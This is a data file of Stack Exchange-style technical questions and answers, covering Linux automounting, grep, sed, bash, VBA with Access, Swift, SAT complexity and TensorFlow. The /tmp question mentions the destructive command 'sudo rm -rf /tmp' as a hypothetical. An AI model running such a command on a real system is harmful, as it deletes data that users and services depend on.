{  "id": "_unix.46028"  , "question": "Got my USB flash automount broken after reboot.Using Debian 6, GNOME 2My NTFS hard disk is still mounting correctly.When i connect my Android smartphone (with SD and local drive) my messages log looks like:tail -f /var/log/messagesAug 21 11:46:14 pp-hideout kernel: [  139.461734] sd 4:0:0:0: [sdc] Attached SCSI removable diskAug 21 11:46:14 pp-hideout kernel: [  139.466484] sd 4:0:0:2: [sdd] Attached SCSI removable diskAug 21 11:46:14 pp-hideout kernel: [  139.514664] cdrom: This disc doesn't have any tracks I recognize!Aug 21 11:46:22 pp-hideout kernel: [  148.005560] sd 4:0:0:2: [sdd] 4268032 512-byte logical blocks: (2.18 GB/2.03 GiB)Aug 21 11:46:22 pp-hideout kernel: [  148.006180] sd 4:0:0:0: [sdc] 7761920 512-byte logical blocks: (3.97 GB/3.70 GiB)Aug 21 11:46:22 pp-hideout kernel: [  148.010305]  sdd:Aug 21 11:46:22 pp-hideout kernel: [  148.010679]  sdc:Aug 21 11:46:22 pp-hideout kernel: [  148.014944]  sdc1Aug 21 11:46:22 pp-hideout halevt: Running: halevt-mount -u /org/freedesktop/Hal/devices/volume_uuid_DACE_470F -o sync -m 002 -o gid=plugdevAug 21 11:46:23 pp-hideout halevt: Running: halevt-mount -u /org/freedesktop/Hal/devices/volume_uuid_3E19_07CA -o sync -m 002 -o gid=plugdevSo the problem is somewhere on software level.And the problem is I want it to automount, but it isn't working.Can anybody help?p.s.: How do Debian USB automounting is working from the box? Where can i read about it? UPDATE:Did some apt-get ideas from web and now I have:Running: halevt-mount -u /org/freedesktop/Hal/devices/volume_uuid_DACE_470F -o sync -m 002 -o gid=plugdevAug 22 03:06:05 pp-hideout usbmount[15471]: executing command: mount -tvfat -osync,noexec,nodev,noatime,nodiratime /dev/sdc1 /media/usb0Aug 22 03:06:05 pp-hideout halevt: Running: halevt-mount -sAug 22 03:06:05 pp-hideout usbmount[15471]: executing command: run-parts /etc/usbmount/mount.dAug 22 03:06:07 pp-hideout usbmount[15436]: executing command: mount -tvfat -osync,noexec,nodev,noatime,nodiratime /dev/sdd /media/usb1Aug 22 03:06:07 pp-hideout halevt: Running: halevt-mount -sAug 22 03:06:07 pp-hideout usbmount[15436]: executing command: run-parts /etc/usbmount/mount.dNow USB flash mounts, BUT read-only. How can I fix read-only? Any ideas?"  , "title": "Debian USB automount"  , "tags": "debian;mount;usb;devices"  } 
{  "id": "_webmaster.1217"  , "question": "Possible Duplicate:How to find web hosting that meets my requirements? I'm currently using shared hosting.I want more control over my IIS and also I need to run in full trust.There are a lot of options out there for Windows VPS hosting.Which ones do you recommend is the best?Some must havesHas to have great supportAutomatic hardware fail oversAccess through Remote Desktop (you would be amazed some don't offer this)No limit on what I can install on it"  , "title": "Whats is the best Windows VPS hosting?"  , "tags": "web hosting;vps;asp.net mvc"  } 
{  "id": "_datascience.6908"  , "question": "I am still new to data mining but I really want (and need) to learn it so badly. I know that before I can actually process my data in softwares like WEKA, I need to do some filtering like cleaning the data, integrating, transforming, etc to actually get your data cleaned from any kind of duplicate, missing value, noise, etc. But I only know all of these theoretically. The problem I have now is I have a very big set of data that I need to filter first before going on to the processing part. But I don't know where to start. Fyi, my dataset is very big that the usual spreadsheet programs like Ms Excel, Libre Office, WPS,etc can't open it. I have to use Linux terminal and commands to count the number of rows, columns etc. What do I do in the preprocessing start? How do I 'clean' my data? I have been thinking to use Linux commands to do all of these, but I am also wondering how real data scientists clean their data. Do they do these manually or they already have some sort of software to help them? Because seriously I don't know where to start or to do. Every reference I found in the internet only explain things theoretically. ANd I need something more practical to help me understand. What do I do with my dataset? Help please?"  , "title": "Preprocessing in Data mining?"  , "tags": "data mining;dataset;data cleaning;preprocessing"  } 
{  "id": "_softwareengineering.150824"  , "question": "I'm trying to understand how the puts function fits in Ruby's Everything is an object stance.Is puts is the method of a somehow hidden class/object? Or is it a free-floating method, with no underlying object?"  , "title": "Is the puts function of ruby a method of an object?"  , "tags": "ruby"  , "accepted_answer": "I'm trying to understand how the puts function fits in Ruby's Everything is an object stance.First off, puts is not a function. It's sole purpose is to have a side-effect (printing something to the console), whereas functions cannot have side-effects  that's the definition of function, after all.Ruby doesn't have functions. It only has methods. Thus, puts is a method.Is puts is the method of a somehow hidden class/object?No, it's just a boring old instance method of a boring old class. (Well, a boring old instance method of a boring old mixin, actually, but a mixin is just a class which abstracts over its superclass.)Kernel is mixed into Object, which is the (default) superclass of all objects (modulo BasicObject, of course), thus, Kernel is a common superclass (or supermixin, if you prefer) of (almost) all objects in Ruby.Or is it a free-floating method, with no underlying object?There is no such thing. A method is always associated with an object (the receiver of the message), that's what makes it a method. (At least in OO parlance. In ADT-oriented languages, the word method means something slightly different.)By the way, the easiest option is always to just ask Ruby herself:method(:puts).owner# => Kernel"  } 
{  "id": "_webapps.14344"  , "question": "When I delete an email message from my Gmail inbox, is it also deleted and removed from the servers at Google?This is to say that I deleted it knowing that I wanted to and was sure and that I don't also have a copy of it in another label/folder in my account. What happens to the deleted emails?"  , "title": "Are deleted Gmail messages deleted from Google servers?"  , "tags": "gmail"  , "accepted_answer": "There are several levels of delete and you'd need to ask Google how far they went when you pressed the delete button.The file (for that's what a mail message actually is) is moved from your inbox to a trash folder in your account. This removes it from your inbox but you can still recover it quite easily.The file is completely removed from your account. In this case it might still exist somewhere on the Gmail servers but you'd have to contact Google for it to be restored. I don't know whether this is the case, but it's a reasonable assumption.The file is removed from the Gmail servers. In this case it might have been backed up before deletion.The file is removed from all backups. In this case the mail has, to all intents and purposes gone.This doesn't cover the use of forensic data recovery to analyse the hard drive of the server to recover a deleted file - but with the volume of data passing through Gmail I'd assume that any deleted file would get overwritten quite quickly."  } 
{  "id": "_codereview.84476"  , "question": "I am burdened with the requirement of interacting with a C based library, which has a bunch of constant sized arrays (e.g. char[17]).When trying to assign or read those properties from swift, they are represented as a Tuple type of that size.. As far as I know, you can't access tuples with subscripts, and it is not trivial to convert an array to a tuple .. so I am left with this ugly code to interact with the library:Note for the curious: The C library uses the eatLength to determine which values of the tuple are valid, and which shouldn't be considered. That is why I don't care about what the padded value is.typedef struct _DMMove{    uint8_t steps[17];    uint8_t eats[16];    uint8_t eatLength;} DMMove;extension DMMove {    init(steps: [Int], eats: [Int]) {        var paddedSteps = Array(0..<17) as [UInt8]        var paddedEats = Array(0..<16) as [UInt8]        for (i, v) in enumerate(steps) {            paddedSteps[i] = Int8(v)        }        for (i, v) in enumerate(eats) {            paddedEats[i] = Int8(v)        }        var stepsTuple = (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) as (Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8)        var eatsTuple = (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) as (Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8,Int8)        stepsTuple.0 = paddedSteps[0]        stepsTuple.1 = paddedSteps[1]        stepsTuple.2 = paddedSteps[2]        stepsTuple.3 = paddedSteps[3]        stepsTuple.4 = paddedSteps[4]        stepsTuple.5 = paddedSteps[5]        stepsTuple.6 = paddedSteps[6]        stepsTuple.7 = paddedSteps[7]        stepsTuple.8 = paddedSteps[8]        stepsTuple.9 = paddedSteps[9]        stepsTuple.10 = paddedSteps[10]        stepsTuple.11 = paddedSteps[11]        stepsTuple.12 = paddedSteps[12]        stepsTuple.13 = paddedSteps[13]        stepsTuple.14 = paddedSteps[14]        stepsTuple.15 = paddedSteps[15]        stepsTuple.16 = paddedSteps[16]        eatsTuple.0 = paddedEats[0]        eatsTuple.1 = paddedEats[1]        eatsTuple.2 = paddedEats[2]        eatsTuple.3 = paddedEats[3]        eatsTuple.4 = paddedEats[4]        eatsTuple.5 = paddedEats[5]        eatsTuple.6 = paddedEats[6]        eatsTuple.7 = paddedEats[7]        eatsTuple.8 = paddedEats[8]        eatsTuple.9 = paddedEats[9]        eatsTuple.10 = paddedEats[10]        eatsTuple.11 = paddedEats[11]        eatsTuple.12 = paddedEats[12]        eatsTuple.13 = paddedEats[13]        eatsTuple.14 = paddedEats[14]        eatsTuple.15 = paddedEats[15]        self.init(            steps: stepsTuple,            eats: eatsTuple,            eatLength: Int16(eats.count)        )    }}More NotesIf you don't know how a C struct is exposed to Swift, well it's as simple as though there is an actual Swift struct with an init that takes all the struct's attributes as parameters.I am sure someone will suggest using Tuple initializers ... Here ya go:Expression was too complex to be solved in reasonable time; consider breaking up the expression into distinct sub-expressions"  , "title": "Array to Tuple in Swift"  , "tags": "collections;swift"  } 
{  "id": "_scicomp.4757"  , "question": "When evaluating cylindrical harmonics, one needs to evaluate trigonometric functions $\\cos(m\\theta)$ and $\\sin(m\\theta)$, potentially for large integer $m$ and $\\theta\\in[-\\pi,\\pi]$. What is the best way of doing this in C code? Currently, I just evaluate at the angle $m\\theta$ but I would suspect that standard libraries lose accuracy at large arguments. I was considering using double angle formulas and the like to recursively reduce the magnitude of the arguments, but I'm wondering if that ends up incurring more error."  , "title": "Evaluating sine and cosine of an integer multiple of an angle"  , "tags": "numerics;special functions"  , "accepted_answer": "If you do it iteratively, by computing $\\sin(n \\theta)$ and $\\cos(n \\theta)$ from $\\sin((n - 1) \\theta)$ and $\\cos((n - 1) \\theta)$, then floating point errors will not blow up by accumulation. This is because the transition matrix is orthonormal.  It is a simple rotation matrix."  } 
{  "id": "_unix.362100"  , "question": "Do I need to check & create /tmp before writing to a file inside of it?Assume that no one has run sudo rm -rf /tmp because that's a very rare case"  , "title": "is /tmp guaranteed to exist?"  , "tags": "tmp"  , "accepted_answer": "The FHS mandates that /tmp exist, as does POSIX so you can rely on its being there (at least on compliant systems; but really its pretty much guaranteed to be present on Unix-like systems). But you shouldnt: the system administrator or the user may prefer other locations for temporary files. See Finding the correct tmp dir on multiple platforms for more details."  } 
{  "id": "_unix.89248"  , "question": "I've made a programmable power switch using Raspberry Pi (although this question is not RPi specific - it's more of generic Linux with problem caused by hardware shortcomings.) Raspberry has no battery-backed RTC; it's intended to work networked and sync its clock soon after boot-up over network.My problem is, that while I do programming of said switch over the net, and I can get given sockets to switch on/off at given hour that way, the device itself is to be used at different locations, including non-networked ones. When if I carry it from where I programmed it to where it's to be plugged in, it's unpowered and the clock loses state. After I power it back up, it has no connectivity to restore the date.The few minutes when it's unpowered is not a problem for me - I don't mind the clock being off by a minute or two. I mind if it's off by 43 years as is the case after I switch it on non-networked.Is there some neat way to restore the clock on boot-up to a state from before the system went down due to power loss? (writing it every second to SD card which is the memory medium of RPi will kill the card quite fast so that's not quite an option.)"  , "title": "Restore clock after short powerdown for no-network, no-RTC system"  , "tags": "clock"  , "accepted_answer": "I see a few ways you can approach thisScan the filesystem for the file with the newest modification or access time. Use that time to set the clock. It's slow, and the accuracy is probably going to be far off, but it'll work. If you have a directory/file you know is modified fairly frequently, you could just use that as the source.Go with the idea you mentioned; 'touch a file every few seconds'. Many SD cards have wear leveling. So you're not writing to the exact same location all the time, and thus it isn't an issue at all.Use NVRAM. Write the current date to the NVRAM as often as you want, and then restore that on boot. NVRAM is tiny, but you can store a few bytes in it without issue.Use GPS for time sync. This is what I do on devices which need time, but don't have access to a network. USB GPS devices are cheap, and they provide very accurate time sources."  } 
{  "id": "_codereview.141048"  , "question": "I spent an hour or so this morning compiling this, and since I have started reading Clean Code and The Pragmatic Programmer I figured I would let you help me get slightly better at this.Due to some crappy limitations with the specifics I was forced to work in Excel VBA instead of Access (someone doesn't want to build tables for the two lists in the Excel sheet).The code pulls a list of defects from a production table, checks a master list to see if it ever existed, then checks an open list to see if it's current and updates the table accordingly. This could be super easy and potentially 100% automated if they would make tables for the two lists. The log of what was found per defect# (writing to sheet) is something I added just in case they want a log.Private Sub thisbetheshitmane()    Dim db As DAO.Database    Dim rst As DAO.Recordset    Dim vAr As String    Dim i As Integer    Dim y As Integer    Dim InCombined As Boolean    Dim InOpen As Boolean    Set db = DBEngine.OpenDatabase(C:\\Users\\dzcoats\\Documents\\Microsoft.accdb)    Set rst = db.OpenRecordset(SELECT DISTINCT [VDefects].Defect FROM [VDefects] WHERE [VDefects].Defect IS NOT NULL;)    Dim QResult() As Variant    QResult = rst.GetRows(rst.RecordCount)    For a = LBound(QResult, 2) To UBound(QResult, 2)        vAr = QResult(0, a)        Debug.Print ; vAr    Next a    Dim CombinedList() As Variant    CombinedList = Application.Transpose(Worksheets(1).Range(b2:b2000).Value)    Dim OpenList() As Variant    OpenList = Application.Transpose(Worksheets(1).Range(a2:a2000).Value)    For y = LBound(QResult, 2) To UBound(QResult, 2)        vAr = Trim(QResult(0, y))        InCombined = False        For a = LBound(CombinedList) To UBound(CombinedList)            If vAr = CombinedList(a) Then InCombined = True        Next a        InOpen = False        For a = LBound(OpenList) To UBound(OpenList)            If vAr = OpenList(a) Then InOpen = True        Next a        If vAr <> Defect And vAr <> vbNullString And vAr <>  Then            If InCombined = False And InOpen = False Then                set rst = db.OpenRecordSet (UPDATE [VDefects] SET [VDefects].Status ='Bad Defect Number' WHERE ((([VDefect].Defect)='& vAr &'));)                Debug.Print BAD ; vAr                ThisWorkbook.Sheets(Sheet2).Cells(Sheet2.Rows.Count, 1).End(xlUp).Offset(1, 0).Value = Bad                ThisWorkbook.Sheets(Sheet2).Cells(Sheet2.Rows.Count, 1).End(xlUp).Offset(0, 1).Value = vAr            End If            If InCombined = True And InOpen = False Then                set rst = db.OpenRecordSet (UPDATE [VDefects] SET [VDefects].Status ='Completed' WHERE ((([VDefects].Defect)='& vAr &'));)                Debug.Print CLOSED ; vAr                ThisWorkbook.Sheets(Sheet2).Cells(Sheet2.Rows.Count, 1).End(xlUp).Offset(1, 0).Value = Closed                ThisWorkbook.Sheets(Sheet2).Cells(Sheet2.Rows.Count, 1).End(xlUp).Offset(0, 1).Value = vAr            End If            If InCombined = True And InOpen = True Then                Debug.Print OPEN ; vAr                ThisWorkbook.Sheets(Sheet2).Cells(Sheet2.Rows.Count, 1).End(xlUp).Offset(1, 0).Value = Open                ThisWorkbook.Sheets(Sheet2).Cells(Sheet2.Rows.Count, 1).End(xlUp).Offset(0, 1).Value = vAr            End If        End If    Next y    rst.Close    Set rs = Nothing    db.Close    Set db = NothingEnd Sub"  , "title": "Updating access records"  , "tags": "vba;excel;ms access"  , "accepted_answer": "Here is the code refined using these features:rst.Filterrst.UpdateScripting.DictionaryRange(A1).CopyFromRecordset rstSub ThisBeTheShitMane()    Const DBPath = C:\\Users\\dzcoats\\Documents\\Microsoft.accdb    Const DebugMode As Boolean = False    Dim db As DAO.Database    Dim rst As DAO.Recordset    Dim key As String    Dim vAr    Dim d As Object: Set d = CreateObject(Scripting.Dictionary)    Set db = DBEngine.OpenDatabase(DBPath)    Set rst = db.OpenRecordSet(SELECT [VDefects].Defect, [VDefects].Status FROM [VDefects] WHERE [VDefects].Defect IS NOT NULL;)    'Combined List    With Worksheets(1)        For Each vAr In .Range(B2, .Range(B & .Rows.Count).End(xlUp)).Value            key = vAr            d(key) = Completed        Next    End With    'Open List    With Worksheets(1)        For Each vAr In .Range(A2, .Range(A & .Rows.Count).End(xlUp)).Value            key = vAr            If d.Exists(key) Then                d(key) = OPEN            Else                If DebugMode Then Debug.Print vAr: ; vAr, ID is in the Open List but is missing from the Combined List             End If        Next    End With    With rst        .MoveFirst        Do Until .EOF            key = ![Defect]            .Edit            ![Status] = IIf(d.Exists(key), d(key), Bad Defect Number)            .Update            .MoveNext        Loop        .MoveFirst    End With    Worksheets(Sheet2).Range(A1).CopyFromRecordset rst    rst.Close    Set rst = Nothing    db.Close    Set db = NothingEnd SubBut we could just let the database do the work for us by converting the Open and Combined list into a comma separated values list and using IN() to check the values.  If [Defect] is a text field you will has to wrap the values in quotes.Sample Query:UPDATE VDefects SET VDefects.Status = IIf([VDefects]![Defect] NOT IN (1,2,3,4,5,6) And [VDefects]![Defect] NOT IN (4,5,6,7,8,9),'Bad Defect Number',IIf([VDefects]![Defect] NOT IN (1,2,3,4,5,6),'Completed','OPEN'));Sub JustDoIt()    Const DBPath = C:\\Users\\best buy\\Desktop\\Microsoft.accdb    Dim db As DAO.Database: Set db = DBEngine.OpenDatabase(DBPath, , True)    Dim rst As DAO.Recordset    Dim sSQL As String, t1 As String, t2 As String    Dim arr1 As Variant, arr2 As Variant    With Sheet1        t1 = getValueList(.Range(A2, .Range(A & rows.Count).End(xlUp)), False)        t2 = getValueList(.Range(B2, .Range(B & rows.Count).End(xlUp)), False)    End With    sSQL = UPDATE VDefects SET VDefects.Status = IIf([VDefects]![Defect] NOT IN ( & t1 & ) And [VDefects]![Defect] NOT IN ( & t2 & ),'Bad Defect Number',IIf([VDefects]![Defect] NOT IN ( & t1 & ),'Completed','OPEN'));    db.Execute sSQL    Set rst = db.OpenRecordSet(SELECT [VDefects].Defect, [VDefects].Status FROM [VDefects] WHERE [VDefects].Defect IS NOT NULL;)    Worksheets(Sheet2).Range(A1).CopyFromRecordset rst    rst.Close    Set rst = Nothing    db.Close    Set db = NothingEnd SubFunction getValueList(Target As Range, WrapInQuotes) As String    Dim arr As Variant    arr = Application.TRanspose(Target.Value)    If WrapInQuotes Then        getValueList = Join(arr, ,) &     Else        getValueList = Join(arr, ,)    End IfEnd Function"  } 
{  "id": "_unix.115612"  , "question": "I right clicked a post request in Chrome and selected Copy as cURLI got a cURL command that includes the following --data-binary $'------WebKitFormBoundI am used to seeing cURL requests that have a single flag and string. Like this $curl -0 output.txtI understand that the --data-binary command will post binary data (presumably after converting the string after the --databinary switch into binary). But what does the dollar sign mean?What does the curl request mean if it has two dashes and a dollar sign?"  , "title": "Understanding two flags and a dollar sign in a CURL command"  , "tags": "command line;curl"  , "accepted_answer": "The notation being used there $'...' is a special form of quoting a string recognised by a few shells like ksh (where it originated), zsh and bash. excerptStrings that are scanned for ANSI C like escape sequences. The Syntax is  $'string'Example$ echo $'hola\\n'hola$ReferencesQuotes and escaping3.1.2.4 ANSI-C Quoting"  } 
{  "id": "_cstheory.31972"  , "question": "Here is a variant of the SAT problem in which a satisfying assignment must have additional properties.Input: A 3-CNF formula $f$ with variables $x_{1\\dots k}$.Output: For an assignment $S$ of $x_{1\\dots k}$, let $\\overline S$ be defined such that $x_i=true$ in $\\overline S$ if and only if $x_i=false$ in $S$.Is there an assignment $S$ such that both $f(S)$ and $f(\\overline S)$ hold?Is this problem still NP-hard?Examples:$f=(x_1\\lor x_2\\lor x_3)\\land(x_1\\lor x_2\\lor \\neg x_3)\\land(x_1\\lor \\neg x_2\\lor x_3)\\land(x_1\\lor \\neg x_2\\lor \\neg x_3)$This requires $x_1=true$ in $S$, but then $x_1=false$ in $\\overline S$, so $f(S)$ and $f(\\overline S)$ cannot simultaneously hold.$f=(x_1\\lor x_2\\lor x_3)\\land(x_1\\lor x_2\\lor \\neg x_3)\\land(x_1\\lor \\neg x_2\\lor x_3)$$S=\\{x_1:true,~x_2:false,~x_3:false\\}$$\\overline S=\\{x_1:false,~x_2:true,~x_3:true\\}$Then both $f(S)$ and $f(\\overline S)$ hold."  , "title": "Is SAT with two opposite solutions NP-hard?"  , "tags": "cc.complexity theory;np hardness;sat"  , "accepted_answer": "Turning my comment to an answer:The problem you describe is known as Not All Equal SAT (NAE-SAT), but is phrased differently. A NAE assignment for a CNF-formula $\\phi$ over variables is one where in each clause there is at least one false variable and one true variable.It is easy to see that an assignment is NAE iff its inverse is also NAE.Showing that NAE-SAT is NP-complete is a well-known exercise, and it can be easily solved by splitting it to two parts.First, given a 3-CNF formula, we can convert it to a 4-CNF formula by adding a variable $w$ and converting every clause of the form $(x\\vee y\\vee z)$ to $(x\\vee y\\vee z\\vee w)$.It is easy to see that the original formula is satisfiable iff the resulting formula is in NAE-SAT.Then, standard techniques can be used to convert this formula back to 3-CNF, while maintaining the NAE property."  } 
{  "id": "_codereview.12959"  , "question": "Recently me and colleague had a discussion about the following piece of code (simple bool function that checks if string is a number, +1000 not allowed, -1000, 1234 ... allowed).  He felt that it was hackish, while I thought it was nice, clean and elegant (since it uses STL, not hand made loops).So is this a judgement call or one of us is wrong? Is this code elegant or hack? bool validate(const std::string& m)   {   if (m.empty())      return false;   return m.end() == find_if(*m.begin() == '-'? ++m.begin() : m.begin(),                                    m.end(), not1(ptr_fun(isdigit))); }"  , "title": "Checking if a string is a number with STL"  , "tags": "c++;stl"  } 
{  "id": "_unix.240470"  , "question": "I was wondering if there is a best way to run the following commandcat cisco.log-20151103.log | grep -v 90.192.142.138 | grep -v PIX | grep -v IntrusionI triedcat cisco.log-20151103.log | grep -v 90.192.142.138|PIX|Intrusionbut it doesn't work."  , "title": "Excluding multiple patterns with one grep command"  , "tags": "grep"  , "accepted_answer": "two other optionsgrep -v -e 90.192.142.138 -e PIX -e Intrusion cisco.log-20151103.logand assuming fixed strings grep -vF '90.192.142.138PIXIntrusion' cisco.log-20151103.log"  } 
{  "id": "_unix.158856"  , "question": "I am currently writing my third ever shell script and I have run into a problem. This is my script so far:#!/bin/bashecho choose one of the following options : \\  1) display all current users \\  2) list all files \\  3) show calendar \\  4) exit scriptwhile read  do   case in          1) who;;          2) ls -a;;          3) cal;;          4) exit;;   esac    donewhen I try to run the script it says this:line2 : unexpected EOF while looking for matching ''  line14 : syntax error: unexpected end of file.    What am I doing wrong?"  , "title": "Unexpected EOF and syntax error"  , "tags": "shell;shell script"  , "accepted_answer": "The problem is, that your case statement is missing the subject - the variable which it should evaluate. Hence you probably want something like this:#!/bin/bashcat <<EODchoose one of the following options:1) display all current users2) list all files3) show calendar4) exit scriptEODwhile true; do    printf your choice:     read    case $REPLY in        1) who;;        2) ls -a;;        3) cal;;        4) exit;;    esac    doneHere case uses the default variable $REPLY which read fills when it's not given any variable names (see help read for details).Also note the changes: printf is used to display the prompt in each round (and doesn't append a newline), cat is used to print instructions on several lines so that they don't wrap and are easier to read."  } 
{  "id": "_webmaster.44894"  , "question": "I need to create a domain alias alias.domain.com to forward http to www.domain.com.It has to be a forward and not a redirect (I was told it can be done by creating CNAME).Note I am using Plesk and creating a domain alias in plesk creates an A record not a CNAME.Any thoughts please?"  , "title": "Domain Alias with forward in plesk"  , "tags": "plesk;domain forwarding"  } 
{  "id": "_unix.83734"  , "question": "On this VPS there are three users: root, another_one, nobody. All webserver files, configs, &c. are owned by root. However, I'm in doubt for what regards running things. If I use root for the web server I may expose the system to security holes, whereas if I try to login into nobody it asks me a password which I never set and I don't know. Should I create yet another user?  For now I'm only sure about nginx: I run it as root and it spawns processes as nobody. But what about web servers and other services like db and redis?  Note: I should mention that another_user can sudo, so it's not that different from root."  , "title": "With which user should I run web servers, redis & mongodb?"  , "tags": "security;users;webserver"  , "accepted_answer": "I always run services with a dedicated user. So I would create these users:nginxmongoapachemysqlredisYou should never run the actual services as root!Often when installing these applications using your distributions package manager, as part of the installation, a user will be automatically created for each of these services.I typically use CentOS/RHEL and when I install things like Apache, the user apache is created automatically at that point. So too for MySQL, and Nginx."  } 
{  "id": "_unix.153525"  , "question": "I have (and often change) 3 keyboard layouts on my Mint 17/Mate. I would like to see a notification on my screen when layout is changed, e.g. Switched to English/US. I tried to do it via keyboard settings, to find a program or script to do it, but I couldn't.The question is: are there any programs to show current layout OR is there a way to catch layout change event from X11 in user script? Any advice or guide to information would be appreciated.Update: I've found notify-send to actually send notification, now I need to catch layout change event."  , "title": "Keyboard layout change indicator"  , "tags": "x11;keyboard layout;xkb;notifications"  , "accepted_answer": "I didn't change my keyboard layout very often, but when i do it, i use (for exemple) :setxkbmap frThere's also an option to show the current layout of your keyboard :setxkbmap -queryresult :rules:      evdevmodel:      pc105layout:     froptions:    terminate:ctrl_alt_bkspConsidering this, you could do something with the notify-send command to send the layout as a notification. Something like this :notify-send $(setxkbmap -query | grep layout)Hope this help"  } 
{  "id": "_unix.77831"  , "question": "I want to replace either every odd or even occurrence of a pattern. Look at the following example:$ echo aaaaa | sed -e 's/a/b/' -e 's/a/c/' -e 's/a/b/' -e 's/a/c/' -e 's/a/b/'bcbcbIs there some command that can do this more concisely? What I'm actually doing is converting *s into BBCode [i] and [/i] tags, so if there's a markdown-to-BBCode converter out there, I'd like to hear about it too."  , "title": "Replace every odd or even occurrence of a pattern in a file"  , "tags": "text processing;sed;markdown"  , "accepted_answer": "sed 's|\\*\\([^*]*\\)\\*|[i]\\1[/i]|g'"  } 
{  "id": "_scicomp.25896"  , "question": "I am an engineer writing a program to solve municipal hydraulics networks using the linear method solved by sparse matrix methods.So far I have solved the loop identification where Number of loops = number of lines - number of nodes + 1 using a sample network of 143 lines joined by 113 nodesThe algorithm always generates 31 closed loops no matter at which node begins the scan and adding node and energy equations to construct a 143 x 143 matrix always iterates to a solution when a smaller matrix is used except in the case I am now at.In the course of elimination to obtain upper triangular during Gauss eliminationmy original elements of 500 or so grow to about 2700 including pointers which I have not counted but believe to be a large proportion of the fill-in.However I notice during elimination I get a lot of very small numbers that impede the solution.I wrote algorithms for row and column interchanges and use Hall's method to complete the diagonal.I have not yet tried to go to double-precision math preferring to use threshold pivoting with Markowitz's strategy to maintain sparsity but I really wonder whether this is worth all the effort since computer power and RAM are now so great that these methods from the sixties and seventies may no longer be needed and that I should only concentrate on stability methods for pivot selection.I am not a computer scientist, just a civil engineer who struggled thru a Numerical Methods course as part of my third year so I wonder if there exist numerical examples to describe the steps that I could more easily follow than try to understand all the complicated notation in scientific papers.    My only references are Water Supply and Pollution Control - Viessman & Hammerand Sparse Matrix Technology - Sergio Pissanetsky  "  , "title": "Numerical examples for pivot selection in Gauss elimination"  , "tags": "fortran"  } 
{  "id": "_unix.19728"  , "question": "I need to edit lines in a file using sed. Now the problem is I am replacing a particular pattern with a combination of text and number. This number is a variable which keeps on incrementing for every subsequent line. Now as sed executes the command for all lines in one go, it is replacing the pattern found with the text and fixed number (i.e initial value of number).For example:k = 10sed s/raj/ram${k++}/"  , "title": "Using sed to edit lines in a file with a variable"  , "tags": "sed;awk"  } 
{  "id": "_datascience.13105"  , "question": "I'm building a simple feedforward neural network in Tensorflow and something seems to be broken.  I have adopted the basic structure from http://joelgrus.com/2016/05/23/fizz-buzz-in-tensorflow/ and have tried to adapt it to spit out 1 output unit instead.  The input is 10 numerically represented players ex:(5, 17, 19, 54, 110, 3, 112, 78, 60, 63), 5 on the 'North' team and 5 on the 'South' team, and the output is a 1 or 0 (if the 'North' team won or not).  3 hidden layers (200 parameters each).  With how this is set up, the algorithm trains to constantly predict 1 (North victory).  What can I fix that allows this to train to predict which team is going to have a higher chance of winning?  My expected outcome is ex: [.54] (slight edge to the north team) or [.40] (edge to the south team) etc.import numpy as npimport tensorflow as tfimport sqlite3def get_matches(start, stop):    connection = sqlite3.connect('5v5.db')    cursor = connection.cursor()    result = cursor.execute('''SELECT * FROM matches WHERE rowid>=? AND rowid<=?''', (start, stop))    return result.fetchall()def init_weights(shape):    return tf.Variable(tf.random_normal(shape, stddev=0.01))def model(X, w_h1, w_h2, w_h3, w_o):    h1 = tf.nn.sigmoid(tf.matmul(X, w_h1))    h2 = tf.nn.sigmoid(tf.matmul(h1, w_h2))    h3 = tf.nn.sigmoid(tf.matmul(h2, w_h3))    return tf.nn.sigmoid(tf.matmul(h3, w_o))if __name__ == __main__:    TRAINING_GAMES = 2500 #number of games to train on    TEST_GAMES = 500 #number of games to test the results on    NUM_DIGITS = 10 #input units    FIRST_HIDDEN_LAYER = 200    SECOND_HIDDEN_LAYER = 200    THIRD_HIDDEN_LAYER = 200    BATCH_SIZE = 150    training_matches = get_matches(1, TRAINING_GAMES)    trX = np.array([match[1:11] for match in training_matches])    trY = np.array([[match[11]] for match in training_matches])    X = tf.placeholder(float)    Y = tf.placeholder(float)    w_h1 = init_weights([NUM_DIGITS, FIRST_HIDDEN_LAYER])    w_h2 = init_weights([FIRST_HIDDEN_LAYER, SECOND_HIDDEN_LAYER])    w_h3 = init_weights([SECOND_HIDDEN_LAYER, THIRD_HIDDEN_LAYER])    w_o = init_weights([THIRD_HIDDEN_LAYER, 1])    py_x = model(X, w_h1, w_h2, w_h3, w_o)    cost = tf.square(Y - py_x)    train_op = tf.train.GradientDescentOptimizer(0.05).minimize(cost)    predict_op = py_x    with tf.Session() as sess:        tf.initialize_all_variables().run()        for epoch in range(10000):            p = np.random.permutation(range(len(trX)))            trX, trY = trX[p], trY[p]            for start in range(0, len(trX), BATCH_SIZE):                end = start + BATCH_SIZE                sess.run(train_op, feed_dict={X: trX[start:end], Y: trY[start:end]})                print(epoch, sess.run(predict_op, feed_dict={X: trX, Y:trY}))        test_matches = get_matches(TRAINING_GAMES+1, TRAINING_GAMES+TEST_GAMES)        teX = np.array([match[1:11] for match in test_matches])        teY = sess.run(predict_op, feed_dict={X: teX})        print(teY)"  , "title": "Simple feed forward neural network on Tensorflow question"  , "tags": "machine learning;python;neural network;tensorflow"  } 
